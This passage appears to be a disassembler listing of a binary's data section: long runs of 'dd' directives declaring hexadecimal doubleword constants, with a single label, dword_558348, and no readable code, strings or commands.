0BD8077FAh, 0B6C335C4h, 0A9005F39h, 9CD03AD1h, 39F48C36h dd 3B00AAA0h, 289AB273h, 2600585Dh, 0DB700502h, 0D75025h dd 0CEB5AF2Fh, 0DECF1D93h, 419FA00h, 0A4C29501h, 6E50C0D3h dd 415587D8h, 9EFD421Eh, 2A34C10Eh, 8B8E8C07h, 14F807Ch dd 536004h, 82689496h, 9166868Dh, 56C4C700h, 2A1E954Bh dd 0E345012Fh, 0C87099B9h, 794FC4F6h, 0A06A9B00h, 8C8721AEh dd 0ECBE076Bh, 7156205Fh, 0E8C1AAEDh, 8A00D5B4h, 832AD214h dd 0D6A236h, 0E75E2538h, 65B0077Dh, 9D7FBA00h, 0EE204A7Ah dd 0AAA0C0F5h, 6922D512h, 4C3BF00h, 3F82C88h, 97783Fh dd 0A4C18E68h, 82D16D1Fh, 0AAF17F00h, 0E144FACBh, 1D0F07C6h dd 0B055E732h, 5E02B9E2h, 2E8E3C3Eh, 0AD130CFEh, 0E7D1B0h dd 21878831h, 62B39748h, 933BEBEEh, 7A8E747h, 76E17EA0h dd 0D8133CA3h, 90918194h, 311F9900h, 5F2D8392h, 8C8C700h dd 9F412FE9h, 2820021h, 44646704h, 99012A18h, 8D3E31BAh dd 8094B7C5h, 0F53F82F8h, 7EF5F80h, 0D8DF8381h, 1507538h dd 655609FFh, 6DF821BDh, 7CB90078h, 9240BC60h, 36B82BA0h dd 0B499F400h, 0DBBA532Ah, 59332822h, 716603E8h, 70317879h dd 0A5B90BE8h, 54FAE300h, 87A3D588h, 7D8C0A63h, 8090F852h dd 5C66E376h, 7FEC9855h, 8075213Ch, 59921378h, 0A4C0519Ah dd 0EC7EDCh, 98E7CE57h, 0F5F4B56Fh, 6D687161h, 94249D76h dd 53343EA7h, 8B49F20Ch, 7806EB38h, 0A93DE5Ah, 478E3931h dd 0C4C8A700h, 249BC3C2h, 676C6101h, 3006978Bh, 143002DDh dd 0F8D9E2A2h, 0D0C3043Ch, 90124F2Bh, 3ECD7D64h, 0F2989400h dd 31AE647Fh dword_558348 dd 0CE7A0675h, 686ADAC3h, 5B375E00h, 87B97019h, 887115BEh dd 0FC01F0E9h, 393EF552h, 0CF941014h, 2A5A0E15h, 9983C90Eh dd 0D5887A64h, 80C02883h, 2BDA7469h, 0C2E8A052h, 0C88E0959h dd 0E00A42F2h, 52BB407Ch, 0B7009165h, 5EB55B96h, 7E3FD5h dd 25D32346h, 3BE10A7Ah, 0F5BB9801h, 3C94E8A0h, 0BA9926DFh dd 4083816Ch, 40ABBD81h, 0C28B3FD4h, 0DE246577h, 2B0024E8h dd 0B4F575AEh, 0BC4D009Eh, 0D959CE38h, 8E007310h, 0B9E020CBh dd 6080B45h, 722B06DAh, 7E00710Ah, 0B180818Ch, 1C4BB9Ah dd 788A4375h, 3AAF557h, 1DB59877h, 1FD90971h, 98804BE0h dd 0BDEF803Ch, 0A6942814h, 926F1EAAh, 9E4CA700h, 121A74A9h dd 403AA3ADh, 6719D940h, 0A10F4F2Fh, 87E26Dh, 7566DABBh dd 0A0041ECBh, 0A8C9804Bh, 239E6369h, 0AEE5ED00h, 0F1796E84h dd 0E189A83h, 7C92E674h, 1DD4338Ah, 0CE41C0C6h, 2B10A66Eh dd 0A6CFB48h, 0A8F4758Dh, 0EF7A5A81h, 0C9F6447Eh, 18D0EBE9h dd 0ECE1C137h, 5C6DAD85h, 2DB088DCh, 3C92FB1Eh, 705CD2C1h dd 0B06BBC94h, 0CE00B9E5h, 264F74D7h, 0C14713ADh, 0A757C068h dd 89B2E07Ch, 0E7AE7502h, 0A0F06F79h, 5FC04BECh, 26010C4Ch dd 0BE8140FBh, 0AF743B05h, 0F8407ACBh, 0FABBA2FDh, 0B05EE06Ah dd 0EE840930h, 0FC81148Eh, 648CFF71h, 6B00103Ch, 93E88FFDh dd 314C49h, 9CAE5E57h, 4097D1C1h, 8958AC4Ch, 1B54058Bh dd 6E14CC3h, 0EBCF6441h, 1D09799Ah, 80B6D303h, 0F6585B5Ch dd 5C321219h, 0AC4810D9h, 3AD0EA0Eh, 6E5B6C01h, 0A9C86082h dd 0C9029C03h, 8C868B04h, 0B056F880h, 1245E401h, 169CA37h dd 2AD31C10h, 0B450A040h, 87B25D39h, 0C0D16354h, 0FED42AA9h dd 80008916h, 0A958E1A5h, 59B70023h, 0BFF1A239h, 0F305C64Eh dd 2694332h, 420DA470h, 5A2D03E8h, 7CE1CC82h, 1F14B94Ch dd 0D000178Fh, 0AABFC245h, 39036165h, 0C48A3450h, 0CA007E80h dd 0AEA8751h, 0FE6B2782h, 0C8F604EBh, 8401411Bh, 0E3F8014h dd 9502E012h, 92F47AAEh, 0A4B86802h, 20B113E7h, 0A3FC4101h dd 0C84894BAh, 0E89183AAh, 0F2603E81h, 0E880F79Bh, 6C6D6E7Eh dd 0B73BBEDFh, 87BF8054h, 0AFD88FADh, 463A009Dh, 4D839E17h dd 0D40ABA20h, 0E08E5E8Ch, 0ABFCE200h, 2691E922h, 1809E47h dd 0ABB4451h, 0F904A92h, 0C20F9F18h, 60A4DAA6h, 324CA3Bh dd 5A716925h, 8007D87Dh, 58F39363h, 51283310h, 18977DBCh dd 4882D577h, 150EC157h, 0E2A47E69h, 0C4E65F60h, 76F1040Ch dd 80EAD08Ch, 0A49512C5h, 52007C79h, 28EFB54Ch, 0F873349Ah dd 640609FCh, 4C055C3Fh, 929885B7h, 0ECE058FCh, 0CCFEF98Dh dd 13008E73h, 8E2EF36h, 846707h, 8A60C3C8h, 992C28A0h dd 0D38E9100h, 221F105Ah, 0CD810387h, 8A70EC56h, 2D78E0DEh dd 938BE900h, 0F2865C45h, 0B47F0059h, 0AC8A9AEAh, 7707E8B9h dd 36062697h, 6CD09644h, 0A90C5EE9h, 68605AA0h, 0CD6B1D49h dd 90800158h, 58227DEBh, 697496F8h, 785A9A00h, 3DA2DBCBh dd 898B0341h, 1BC3AB7Bh, 0F1B29000h, 0CC861E63h, 2B0407E0h dd 3032DC42h, 1393DBD2h, 0D8F05F51h, 900A911h, 694F024Dh dd 90C5F01Fh, 2F3A00E9h, 8BF813FEh, 4894C3E9h, 4A12E58h dd 8F9268D1h, 6770C873h, 7EFB8D00h, 0D6D8390Dh, 0E66E0101h dd 7B69D7DAh, 997AF0CEh, 0F3A480A0h, 0F45B8512h, 54256071h dd 14640DAh, 17B91E0Fh, 59D9F3Fh, 9080BE03h, 4DFBF554h dd 0ACDDF802h, 80D7B19Fh, 8537B2ECh, 4F3039B5h, 7582A8DDh dd 3A40319Dh, 0C305A053h, 4F4C9C22h, 0C1E52090h, 0A02182Fh dd 3776D064h, 276D2200h, 0A9D446E7h, 0FE3D392Eh, 0A88D4A85h dd 34588080h, 82F0894Ch, 1395213h, 93976C40h, 1531965h dd 3681A076h, 0F80599E7h, 0E500A6DFh, 82083223h, 7DEF8Bh dd 2D241601h, 0FC6DE913h, 24028028h, 12A5C900h, 9AD4359Ch dd 64B31298h, 9018400Ah, 8640CBABh, 0E8FDA17h, 80A27841h dd 0B040B8EEh, 0C6AB7A8h, 549D9744h, 8E00D8E9h, 0A72C5804h dd 603BCCBFh, 7EA35101h, 0F438F2BEh, 0B4678442h, 78800233h dd 1ED308Ch, 99163DF9h, 30E8AD17h, 0F4BA9708h, 9C259200h dd 225CFE30h, 9C11CC7h, 5E738113h, 21F26EBFh, 0BCB3F80Ch dd 0B79D5100h, 0A94771C0h, 6A6013D1h, 43541D77h, 3EB453C8h dd 9D033F98h, 9322EC00h, 16D17EEh, 15E603FAh, 67EB102Bh dd 1AC47EB8h, 699F3E0Eh, 654E075h, 0E086AEF7h, 3B7900CEh dd 0D6E7BA1Ch, 7528434Ah, 0F30480E9h, 0E50D02EFh, 5CCB0C8Ch dd 451374D5h, 6470090h, 93186FE2h, 4169B505h, 0A80082B3h dd 1988F4A5h, 1EE7E9Ah, 0B629814Dh, 35B030B2h, 2844EA94h dd 8D638F13h, 0FB6A1C02h, 149C4890h, 56727Fh, 0E21CAE7Bh dd 0BD3BF593h, 0AB200F1Fh, 2F70DC84h, 525D2480h, 0B87B62h dd 0BAD0849Bh, 9A4E19EAh, 900C224Ah, 2E2C02Ch, 721C9242h dd 4C5E988h, 6FF11004h, 2DE49891h, 321D4h, 0ADF5894Eh dd 965466B6h, 4857FC39h, 21D60968h, 9F082047h, 58E3CF9Ch dd 5F02A489h, 0C8648649h, 62E818C0h, 0B9DBAC00h, 74931F59h dd 0A9A000E9h, 65516FBAh, 23090895h, 0B8263B70h, 0EF9EB1Ch dd 0F0BA589Fh, 0A8FD68C0h, 0EE00CE42h, 56F64641h, 9854FBC5h dd 0A360F94Dh, 298700F5h, 41834F88h, 0BB045EA6h, 0FD7C666Bh dd 0E2AE1C80h, 1A913A5Dh, 96008DCCh, 0C4FA76EEh, 0A100FF43h dd 706D0B7h, 4B919064h, 80303469h, 2011827Bh, 0F98F2F1Dh dd 5D00849Dh, 0A24B7DECh, 0C94ABh, 74E872EDh, 620070B5h dd 0A33C2E52h, 0F236CFD2h, 0E17560FAh, 0A2FE9415h, 802FD60Eh dd 0F4E20C9h, 169D427Ch, 710A3B4h, 0E0F80678h, 2D4D08CFh dd 3E7F6700h, 0B2E1DBE2h, 0D14C000Eh, 38C434BCh, 3903B8DAh dd 63E0AD71h, 65F982F6h, 33C6805Ch, 4337F41Fh, 35F7E100h dd 0BE8AA0ABh, 56540E49h, 5F202AA1h, 793A6A12h, 0F018CA5Ch dd 0F4DE4FFEh, 0AFA109BEh, 244502E5h, 6C1D050Fh, 6E0855h dd 8F7B5628h, 1161A2CDh, 0BA3B50F0h, 11500FEh, 2A554619h dd 0CA4D0AFFh, 808C71E0h, 0C425A7A2h, 1F14D1E3h, 0A1340154h dd 4602427h, 106E58F3h, 51E19AA3h, 844641Bh, 0AD5D2D72h dd 0A37F0094h, 0A78F8DD8h, 9D3F00F5h, 0B8E95730h, 182E6E16h dd 3D58ECBEh, 592C02E3h, 81DEE182h, 8F002C79h, 1CC8721Fh dd 2FE9005Fh, 0E66F3FD4h, 271608E1h, 7507FEF3h, 90046A2Bh dd 979B4880h, 201B0305h, 9EB9E346h, 2509D9C8h, 0EF563C00h dd 756D722Ah, 74815h, 800738Bh, 0B695A696h, 0F0C03Bh, 0A8D8AB19h dd 547E7644h, 5B7F837h, 8B17E0E9h, 62BD8264h, 83005C5Ah dd 543B1DB3h, 2A47D0A9h, 2698F64Bh, 13D28B7Ah, 24D81D87h dd 0A045020h, 20A959h, 7C57F51Ch, 1364DAE1h, 4EBB7F42h dd 0D6A03520h, 0D087F436h, 0E4808503h, 0A9F3E751h, 0A4355C4Bh dd 144CEC37h, 0AF00FC90h, 611ACAD1h, 5602FB2Eh, 2D1BD0A5h dd 71982012h, 28B05989h, 0FE407F18h, 2E7D7419h, 29307CDAh dd 3DEC05Ch, 0C8B251FAh, 0E07C4D06h, 3D10C75h, 8AAB4990h dd 0C9066CFAh, 0CCB6209Dh, 0A4251321h, 0DBF48058h, 0BD0010ACh dd 8E670A2Bh, 70F5C6h, 681DDF6Dh, 761FE749h, 3314EB1Fh dd 0CB9E4640h, 0C0B02089h, 19C7D2E1h, 3300025Eh, 3BD76657h dd 0C0321Fh, 9D7678D4h, 0BAE58788h, 67B9DF00h, 895905D2h dd 1FC93AFFh dd 0F9E0F08Ah, 4C818ECCh, 4C02D98Bh, 9CC099DCh, 5609E698h dd 8411FF3Ch, 7CF4C124h, 827700EEh, 0BE4716C0h, 897619CAh dd 0DC8FB42Eh, 5734A70h, 0E8011A5Ah, 3F844006h, 7AFDE1B6h dd 0D5485800h, 0F3BB7408h, 7B633169h, 10E341B9h, 0C0302AB5h dd 836BAE11h, 0F200715Bh, 422C644Ch, 48028E04h, 6900A476h dd 0A465C8AEh, 2F4FEBDCh, 74F7D441h, 0F18135B4h, 3EA094ADh dd 0D665DCABh, 0EE138F0Ch, 1272E80Eh, 0E775B33h, 0CAE067DCh dd 9EFB6D09h, 0D8616C30h, 844AF0h, 0B2E76385h, 22982BADh dd 3788648h, 4131E05Ch, 53E5888Ah, 37015A38h, 0B8EA909Ch dd 38923617h, 0C3A2B700h, 0D457199Ah, 30591025h, 279400F0h dd 0FA353689h, 0C6A2095Ch, 2CC0E2CBh, 1E60661Bh, 0A6E6A129h dd 0FE10A4A3h, 7CB1123Fh, 90FC0474h, 305380EEh, 0F15ECD2h dd 0C4A067h, 7458FA1Fh, 0C9A557h, 0CBAA42EBh, 28922D2h dd 7A13D8A6h, 348CC313h, 0D6D1507Dh, 0D7410015h, 2FC48C94h dd 9CA07367h, 24646829h, 0C0F787A1h, 0D248EC18h, 0CC4C3723h dd 207A2764h, 6AB166A4h, 2A16748Ch, 12D85697h, 0D4F488CAh dd 0C390C0CCh, 0CC0189C1h, 58846096h, 0DC21A3A2h, 0E059CC53h dd 0B06DBCC1h, 41CC09ACh, 6005B838h, 5164C133h, 0CC5FC914h dd 90174007h, 7420260Bh, 0CF387993h, 0BF847179h, 0CF60B047h dd 0F96B3509h, 0F6702192h, 8220FF80h, 6B749925h, 7AC0AD02h dd 1F92046Bh, 0B4250055h, 397E74BEh, 1B009085h, 8280D764h dd 584CE0D6h, 695C543Ch, 0D45FFA0h, 0B92E5100h, 4BA751Bh dd 0AAA23A18h, 793F3786h, 0B0007040h, 0A04B5024h, 5DEE14h dd 4F63D903h, 4A392FACh, 0E7C7F600h, 75D5CAB6h, 1380E0B2h dd 3138D706h, 2484F7E8h, 67002914h, 0B212C98Fh, 15B79F37h dd 0E8113236h, 0A48A7500h, 0FBC96197h, 90D47827h, 448384h dd 0E2A90E9Ah, 3DFFC086h, 0BF014CB2h, 0BCC4753Ah, 0B4200B7Bh dd 0EE723B43h, 0CD4B0207h, 0F631D04Dh, 0E600CFADh, 1417D9DCh dd 1EF594FBh, 0C4FDB6CAh, 80F28784h, 0F490A0F4h, 32C14300h dd 0D18D3D4Eh, 33B4A092h, 1829060Dh, 681A679Ch, 636E2F00h dd 0A00291B8h, 452803C2h, 218BECB5h, 100E2000h, 0CCFF9407h dd 0D84E007Eh, 2BA3D5BAh, 95E69D44h, 0FC49797Bh, 733C60h dd 0E789CCE8h, 0AD2925h, 0E4713509h, 9DDE385Eh, 8CA95030h dd 0EB6654Ah, 0B9E03198h, 7D3D4F40h, 120EE3F4h, 2014B20Fh dd 0E85E22D8h, 85C60071h, 0D4889F1Eh, 0D904F746h, 6F3310FEh dd 6170C0AEh, 5216B5ABh, 0C8D8C865h, 59DD267Bh, 68D829B0h dd 0D5CC4014h, 0D2007B76h, 2C185B64h, 8B4672h, 3BFAC8FEh dd 0A2C267F6h, 0F500DF74h, 16A35B41h, 4D0607E9h, 288FEC29h dd 6C208769h, 18AE54FCh, 63D79802h, 0F8027EF1h, 0D4F52CC0h dd 0C8D30054h, 0DCD11F79h, 0D700E094h, 0F63548E2h, 0D351242Eh dd 0C2250F1Ch, 0CCB44052h, 0AED83936h, 175BF88h, 7F22C08Fh dd 0DCD3C23Eh, 4FF2B341h, 172E5314h, 0E3B203E4h, 26EDA74h dd 16A96098h, 64D85E8Eh, 0C8D712Eh, 0D568E04Bh, 633D00DDh dd 248EBF90h, 81C051BDh, 0D9612FD1h, 855C00D6h, 15F2F193h dd 0FF481F33h, 1E940098h, 0EE7451B2h, 689C001Dh, 76C4D169h dd 0B004CCAh, 236A299Dh, 3E2CFh, 0EE187F0Eh, 0C0136FCDh dd 6D95C814h, 458700D5h, 66F5A262h, 92E20041h, 5BD20813h dd 0CD001C6Eh, 800F4A69h, 3D0136A4h, 0CE001828h, 170BDAFEh dd 7639617Bh, 1E7F9814h, 1F0F0320h, 0C0BBB6C3h, 0B981EF49h dd 4001B386h, 0CE7E0A47h, 0E8F3EA24h, 0CA0ADFAh, 0F0E76F6Eh dd 0BE0062B8h, 0D9E8BCC2h, 301C6DB4h, 0FB797769h, 0C3E68AC6h dd 782D2B00h, 9B0E8082h, 0F8FC0033h, 5AFEADEFh, 270002F0h dd 14C3BCC9h, 90F2BBh, 9F041CFDh, 2FAA0D24h, 0B6C94506h dd 4146F4h, 0F5417EC2h, 0DC1BE1F2h, 367266F4h, 4521C660h dd 2A2C101h, 5993E02Ah, 0B4A2FE98h, 22E03A7Dh, 0DD071F6Dh dd 0F98D2D58h, 0A6E207F0h, 4BF2001Ch, 0A00E66F8h, 4E029D01h dd 24F17490h, 4603C0EFh, 536E0CD7h, 0CAB0BD67h, 3291300Eh dd 4F6AE726h, 789EC790h, 68CD050Ah, 405CEB5Dh, 13AFE0D8h dd 1B0093D0h, 3F4E0D2Fh, 0A11968h, 0FACFF5CEh, 0C156377Bh dd 420F8A01h, 0D9256127h, 1C47C8DCh, 0C0D0D175h, 38E0A448h dd 0FE79286Bh, 8967A00h, 0C8490736h, 0C1D400DDh, 765D6AEFh dd 6B013973h, 88BF2F31h, 0B02097E1h, 9C6F1E42h, 0ADA8C540h dd 2737803Ah, 50006E1Eh, 60704121h, 0E2FB25FAh, 45061403h dd 2860E838h, 9B0F2019h, 17604900h, 43165C8Dh, 0DFF695h dd 81B3C944h, 0D054A34Dh, 0F067A63Dh, 0BA4C5A00h, 1B4F5312h dd 4AEB0071h, 0EE1A6160h, 0AC0FB68Eh, 6CAAC5D5h, 3F8CB074h dd 9D00076Ch, 3AEB7679h, 680CBA63h, 18027A6Fh, 0F867013Dh dd 0D0B6BEFFh, 0B4804C64h, 8EE9A538h, 0AB9CD30h, 6A01C7B2h dd 0F4ADBED2h, 70438040h, 2E3F009Fh, 340B38B7h, 581CEB48h dd 0C453AE6h, 0B0038AE0h, 0D8DB4964h, 1C577F54h, 200114h dd 0E455B0Fh, 6F182805h, 67A1EA72h, 0A5224870h, 0C7485500h dd 283F3817h, 32660700h, 0CFF16BFDh, 0E02930B4h, 23A8A630h dd 9CF6B30Bh, 81EA0F32h, 0E30F609Eh, 3C5FDC50h, 891C0026h dd 0A7E80771h, 4FE05277h, 0AB142B14h, 0E3C68098h, 176AAA1h dd 28124425h, 0E89D94E0h, 0E400AB32h, 85092D55h, 0D22AB2h dd 4178720Ah, 6090610Fh, 63DF1500h, 0DE9EF826h, 0AD832AB5h dd 187253C0h, 4C731403h, 791F12E2h, 5F1F8885h, 0E1B4AC3h dd 0A42CD956h, 15D08857h, 1B5FD92h, 53613B35h, 0C86C7D38h dd 3E009D25h, 2EB12804h, 83FC2Dh, 0CA19411Eh, 8A59E9DAh dd 138B9002h, 4E169EF0h, 54310350h, 4BA81926h, 0E4C78900h dd 413F5EA4h, 40E760E8h, 2B51F64Ch, 370DD209h, 24370F8Bh dd 1490885Eh, 3048DA06h, 0E8115A45h, 0E204173Bh, 7CF53653h dd 0EC7B949Ch, 245B480Eh, 0C6DE3507h, 5E384CDFh, 25F2D101h dd 84232747h, 0FE111E0h, 6F6B3654h, 0E26A3880h, 0B8095AC3h dd 20BFF39Eh, 151A118Ch, 0FFF4196Dh, 50E3B83Eh, 0D42D1D4h dd 1C87C8A8h, 0D30118EAh, 4D61FBE1h, 0B3C8DD01h, 58BFF8E2h dd 3C60F214h, 1960BDF9h, 9325A900h, 0A462358Ah, 371A009Ch dd 0C9A52D89h, 59F4DF98h, 0BA9FB518h, 3B9A45F9h, 8B1DE76h dd 0EC598610h, 50282ECFh, 0B00A018h, 0E448171h, 2216F92h dd 3189063Ch, 5448E804h, 0F2A616Ch, 2006FC84h, 0F248A936h dd 7A73A8h, 641C7657h, 0FDA6EC32h, 52A458h, 0E92A86B1h dd 0B25C79h, 20E756EAh, 34800CD0h, 1964A39h, 1A4BD8C8h dd 0F4226470h, 0AAB77781h, 831184BBh, 71C3E7BEh, 47918843h dd 57770068h, 93162A01h, 5300E90Ah, 86D4AB5Ah, 24FF183Bh dd 6E4C5181h, 586826C2h, 5F2F3020h, 426983Fh, 0FA508655h dd 0BC8E15h, 40EB0294h, 8CBE5Eh, 11377627h, 1F77A2BAh dd 35F3FB0Ah, 8481E802h, 120550FCh, 198EFDD4h, 0B1DB1160h dd 2A98401Bh, 0EA00FA99h, 94AC4FE8h, 3D2BD6CAh, 7400A017h dd 0F2D5BF2Eh, 0F50F0D31h, 0A01B7AA5h, 5CA2E353h, 1AC00002h dd 0DC4F6F1Fh, 0C200BC5Bh, 369350D8h, 4C7911CCh, 0CE005053h dd 81456AD6h, 7D0068E5h, 0BF72B81Ch, 1F706C3h, 0E7945FB3h dd 0FCD1335Dh, 1298A6AAh, 0F29F230Fh, 603605D2h, 6CC0801Ch dd 5C67EC05h, 0F0A008Ah dd 854F3DF0h, 11012F8Ch, 91E92B1Eh, 0F6AAAA3h, 80F2C9ADh dd 6E7148F5h, 0EAEB7B02h, 68615EA3h, 2AC2FECCh, 980744h dd 187EBD4Eh, 5DB71158h, 0C6734712h, 32DD0C07h, 0F30D84F0h dd 66F73934h, 0FD819E0Fh, 9311C07Ch, 0DF7383E4h, 8A06FE13h dd 616F3044h, 0E00478CBh, 91F77AA8h, 8F433660h, 804E1DA0h dd 0A286148Dh, 4540437h, 90448ADBh, 1F1C2A80h, 0F4A949C1h dd 0C242FC3h, 80A848ABh, 8AC05C48h, 94AADADDh, 5D0B3D0Fh dd 0FE01966Fh, 0F3A690FAh, 0C09EC2FEh, 0C35A9CFh, 999E8C21h dd 0FE0519E8h, 0E025346Dh, 68C088h, 703F1F4Eh, 0C721F66Ch dd 0D9902702h, 4031B614h, 1CFC52B5h, 1E1F6ACDh, 9DB884E4h dd 4845C09Ch, 5129FB3h, 9C011835h, 82688BDCh, 12E37860h dd 0AC0160C0h, 0FB8E011Bh, 31049BBFh, 0E0430h, 40108C36h dd 2A71791Fh, 1DD35B00h, 8D44AB96h, 7C974D3Bh, 2805324h dd 2231A187h, 831EECC6h, 41C29F3Eh, 4287CC16h, 173440D7h dd 119B00CDh, 702CB19h, 63752C65h, 20268C91h, 68241F00h dd 0E0134AA1h, 2AD4906Fh, 0EC04906h, 57B90AD3h, 3E27F560h dd 3C24A073h, 2D1F9092h, 0E9E15D85h, 0F41DA000h, 0C325F936h dd 431A8338h, 0DA075B98h, 756834F7h, 552B23Eh, 0C1387B4Eh dd 406E5BC0h, 0A383143Ah, 22009C51h, 0BF5D8105h, 32F478C2h dd 2588B349h, 2613760Fh, 85830026h, 0BA6273F6h, 1B04CCE6h dd 7E0196B7h, 74388Ch, 0B4D7EFCBh, 929BD3EDh, 4A864103h dd 5821B36h, 609154BEh, 81B4C42Ah, 20903E5Dh, 0CCA01D30h dd 16587309h, 8A8000EEh, 156D702Fh, 0BCAB5606h, 18909C1Dh dd 8F47F9CCh, 0D596570Bh, 8131881Eh, 80E2F20Ah, 2A3B5E81h dd 283401E5h, 4C9A050Eh, 58480B21h, 0B9F676B8h, 0D361A507h dd 0A3B60201h, 0F41B7630h, 0EEEB1779h, 0B200173h, 343F2C41h dd 1E7BB9D4h, 0C7F9B106h, 9A8194D3h, 713C06B8h, 782D3E9Eh dd 65833101h, 7D99E9F1h, 946DC034h, 2BBB000Ch, 0FF4D5A2Ah dd 5717200Bh, 6BAC003Fh, 30628D25h, 0D9715F4Bh, 707C4A3Eh dd 0DC4D361Ch, 3D606F80h, 4930C0E4h, 6C0E9453h, 10ECDA03h dd 413B9AE1h, 5C690A2Ah, 7183D4D4h, 75F91C66h, 94050068h dd 58C8CD14h, 65518817h, 72A193D5h, 5D51FC00h, 2461AD55h dd 1606821h, 0A15D51Eh, 0E88C302Eh, 449AA00h, 44405E2Ah dd 26789DBCh, 751D3904h, 8090E7ECh, 84D14h, 0FFFA669h dd 6E65CB01h, 7137580Fh, 50FBC0C3h, 2C5B8FEAh, 4168423Fh dd 0F541E309h, 666ECCEBh, 0AD5BA400h, 0C885CAF8h, 0D2E90465h dd 0C0701152h, 0A81BA39Ch, 0B0DFFF01h, 0A1D9DD41h, 0C185B863h dd 92B43069h, 10000A8Fh, 704D9FBFh, 15627842h, 0A45A0D1Bh dd 0D1EFDC04h, 24A15Eh, 90114CD3h, 2E461A01h, 476780FDh dd 7C35C03Fh, 9302EDDEh, 1A70F74Fh, 2C786ED9h, 8BD05235h dd 0BA006D31h, 0E7FD7266h, 20EB4671h, 0FC7D8580h, 3AAB3404h dd 0F8C2F8F4h, 52984053h, 14C0010h, 30AA9E66h, 0B514477Ah dd 24803881h, 2C0644C2h, 0F16E51h, 7F5BEFECh, 0CC172728h dd 2DEA6F00h, 0CFA3F115h, 292460F5h, 0B94B848Fh, 0EC437509h dd 0C0348D5Ch, 5981F810h, 0ACE0490Ch, 0B18D190Bh, 0F320B4A0h dd 702680A2h, 6803703Ah, 0AD9A721Ch, 0EA19A7C0h, 4855070Eh dd 125FB418h, 44489925h, 92183816h, 0CD60E71h, 746EEFCh dd 0DD2A58F9h, 4235618Ch, 945EF0E3h, 10061F4h, 9C84A077h dd 0F95DA0Bh, 0B66549DFh, 4F80BD0Fh, 69EAA8A3h, 0DD002973h dd 0CA0DF22Ah, 50C30FC7h, 965F8A2h, 96703023h, 149A40A0h dd 7E05314Eh, 4038E924h, 555BC003h, 307CE808h, 11CCFD5Eh dd 0D0D94810h, 40C01F2Ch, 0A7C3F53h, 0A542E40Ch, 268602Eh dd 3B5CBC0Eh, 0C0C03172h, 87002819h, 0CC8C283h, 1DFC131Eh dd 40BAC5A4h, 0D925692Fh, 88925977h, 0C835082Ah, 5DEBF204h dd 408028E9h, 0A8931F31h, 126309Ch, 6FE0F2ACh, 28FEAFCFh dd 0C1F45C00h, 41732B8h, 240CAC30h, 2CEC8970h, 0A23B4008h dd 78136940h, 100EFE5Ah, 0B822CA79h, 7A60E281h, 80F60D3Bh dd 1BEBEA20h, 0FDD386Bh, 58F396h, 9E468072h, 0A33C8FEDh dd 2BB99626h, 73359C01h, 5872CD13h, 86243E00h, 6AD4A2A0h dd 5F0DDE1Fh, 89CB8BC7h, 3B6BDF70h, 94D0B01Ch, 0DB494F74h dd 4CBC4F00h, 0E494BAB5h, 83C15C2Eh, 9850FBEAh, 0FD5D7Ah dd 0C7DBCB1Ah, 25CADF03h, 0B6032FF6h, 5A90E0BFh, 68905407h dd 3D280027h, 0ABC8C1D2h, 9505D098h, 53A7D1B5h, 6B41D491h dd 4D8B62DCh, 26007409h, 0F8C38E4Ah, 840050D1h, 52459B44h dd 0E054F78h, 69F3B52Eh, 7ACFDF60h, 1171E234h, 9D3B5900h dd 71FC2353h, 2C032B36h, 83DD02ACh, 5460F7DAh, 0AE541E2Ah dd 33182BF4h, 0EBE1715Ah, 883F00F0h, 48860A23h, 29C174FCh dd 587D4511h, 0C7007828h, 7A07E5DDh, 0E14AD253h, 26761800h dd 17C92238h, 988C011h, 8818D1A8h, 35040E9Bh, 7D3C52Eh dd 272994B0h, 34A17B15h, 2C3316FEh, 9C50B11Ch, 9EDE0C34h dd 0BB9678h, 0EA6D5B0Eh, 90141FD4h, 2991A15h, 58162AE2h dd 0EE5C4A3Ch, 9D830764h, 505B4FCBh, 6D82FAE3h, 3C2AF32Bh dd 6005598Fh, 0ACE686A8h, 54D94E19h, 6939CCD0h, 44A22C00h dd 0EDA12577h, 245D0E1Dh, 5480E093h, 1756A9E9h, 561E0316h dd 47681F4Ch, 303E3C9Dh, 0B2B32785h, 17630400h, 0C84AC247h dd 455C00A9h, 1B2F38B5h, 4D06568Ch, 175B8615h, 19E7241h dd 0C5ACFD32h, 80AD0AEFh, 0AED08038h, 28586B33h, 0ACCEF3h dd 2FF7A3Dh, 0BD313B91h, 1C98E8ABh, 0C4B86493h, 0D0233000h dd 2E40FF79h, 2FBB0018h, 0F38E04Fh, 0BEEECF28h, 6C0089ECh dd 66A0E8F0h, 3F4FFEh, 5D2D4892h, 9B0D3049h, 0F0AF4100h dd 0E1FB5C8Ah, 4317246Dh, 22AD812Ch, 808D7601h, 65866911h dd 96BA16h, 72C91BBCh, 0F6954CB3h, 0C749E00h, 3E512950h dd 0E0B200CAh, 0BB1E1AB9h, 2F072E41h, 3B07FAAAh, 7610C8C7h dd 0A0968h, 8155259h, 0F4CD535Fh, 176A58h, 0C55B9307h dd 0A882DCh, 0FB155D31h, 0B689767Eh, 0DD0672E2h, 0B816A5E2h dd 0B5930068h, 87A8BC18h, 8A000AFBh, 7DCAC7C8h, 1FB2F256h dd 81CF116Bh, 0D1ACB854h, 40208F89h, 5E21A0B6h, 3B75378Eh dd 3300EBDEh, 1245C40Bh, 9F0072F3h, 9CD62C94h, 0BE34CFh dd 0A3146D81h, 6BA01CB2h, 71A8650Eh, 2C117844h, 0DA50032h dd 0CC5BB523h, 1A0304D0h, 0A8C7C0BEh, 0D7CDC87Bh, 0F4BDF629h dd 8F430002h, 5A62117Ch, 23031938h, 9E9576Ch, 84B80BABh dd 8820FD4Dh, 0BF14261Ah, 82122700h, 2E22CA3Ch, 50701C57h dd 1EE40C7h, 3A0C9140h, 0EF636B01h, 513993E7h, 0CB219Dh dd 0FACABA1Fh, 52652D38h, 3880C019h, 18D016C4h, 0F8E10641h dd 0FD004B88h, 0E59E5648h, 8224ACh, 2FD8F78Ah, 91BB0861h dd 0E6204A00h, 86E83C8Eh, 9638C0E0h, 0A9BE162Fh, 583AC0C7h dd 9D372070h, 9877984Bh, 366224ADh, 751DCBh, 0BE6BF0A3h dd 0B000D2A7h, 923DC8F7h, 0CD16AEh, 0E544E97Fh, 0A29E7B53h dd 0B4B8820Fh, 0D407C02Dh, 514859h, 0FD1431C2h, 4A4950C5h dd 1F1CBF00h, 9D68BF8h, 23550054h, 13646837h, 4E0C5908h dd 106E3822h, 532A0005h, 0CE4BC774h, 1200FDF2h, 0FCF5E09h dd 0F0E1B5C8h, 0A23C0092h, 0E5E7067Ch, 88C5F0C0h, 1CB02B13h dd 45353D61h, 9DB82300h dd 0EF9D98Ch, 8F2D08BCh, 90200120h, 4DC8C446h, 0E61EFE80h dd 